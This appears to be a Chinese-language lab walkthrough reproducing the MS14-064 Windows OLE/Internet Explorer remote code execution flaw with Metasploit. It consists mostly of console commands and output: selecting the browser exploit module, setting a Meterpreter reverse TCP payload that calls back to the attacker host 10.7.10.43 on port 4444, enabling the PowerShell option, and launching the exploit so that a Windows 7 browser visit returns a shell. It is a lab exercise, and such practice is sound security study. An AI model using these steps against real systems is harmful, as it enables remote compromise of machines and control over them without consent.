背景
Microsoft Windows OLE远程代码执行漏洞，OLE（对象链接与嵌入）是一种允许应用程序共享数据和功能的技术，远程攻击者利用此漏洞通过构造的网站执行任意代码，影响Win95+IE3 – Win10+IE11全版本…
模块：exploit/windows/browser/ms14_064_ole_code_execution
复现
| 系统 | IP |
|---|---|
| linux | 10.7.10.43 |
| win7 | 10.7.10.49 |
msf6 > search ms14-064
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/browser/ms14_064_ole_code_execution 2014-11-13 good No MS14-064 Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution
1 exploit/windows/fileformat/ms14_064_packager_python 2014-11-12 excellent No MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python
2 exploit/windows/fileformat/ms14_064_packager_run_as_admin 2014-10-21 excellent No MS14-064 Microsoft Windows OLE Package Manager Code Execution
Interact with a module by name or index. For example info 2, use 2 or use exploit/windows/fileformat/ms14_064_packager_run_as_admin
msf6 > use exploit/windows/browser/ms14_064_ole_code_execution
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/browser/ms14_064_ole_code_execution) > ifconfig
[*] exec: ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.7.10.43 netmask 255.255.255.0 broadcast 10.7.10.255
inet6 fe80::20c:29ff:fe3d:e7e0 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:3d:e7:e0 txqueuelen 1000 (Ethernet)
RX packets 72244 bytes 6467761 (6.1 MiB)
RX errors 0 dropped 34923 overruns 0 frame 0
TX packets 51553 bytes 7628452 (7.2 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1380 bytes 120208 (117.3 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1380 bytes 120208 (117.3 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
msf6 exploit(windows/browser/ms14_064_ole_code_execution) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/browser/ms14_064_ole_code_execution) > set AllowPowershellPrompt true
AllowPowershellPrompt => true
msf6 exploit(windows/browser/ms14_064_ole_code_execution) > show options
Module options (exploit/windows/browser/ms14_064_ole_code_execution):
Name Current Setting Required Description
---- --------------- -------- -----------
AllowPowershellPrompt true yes Allow exploit to try Powershell
Retries true no Allow the browser to retry the module
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TRYUAC false yes Ask victim to start as Administrator
URIPATH no The URI to use for this exploit (default is random)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.7.10.43 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows XP
msf6 exploit(windows/browser/ms14_064_ole_code_execution) > exploit
得到的网址，在win7上访问一下返回shell
参考文章：
https://www.cnblogs.com/5301z/p/6714300.html
https://blog.csdn.net/nzjdsds/article/details/81912349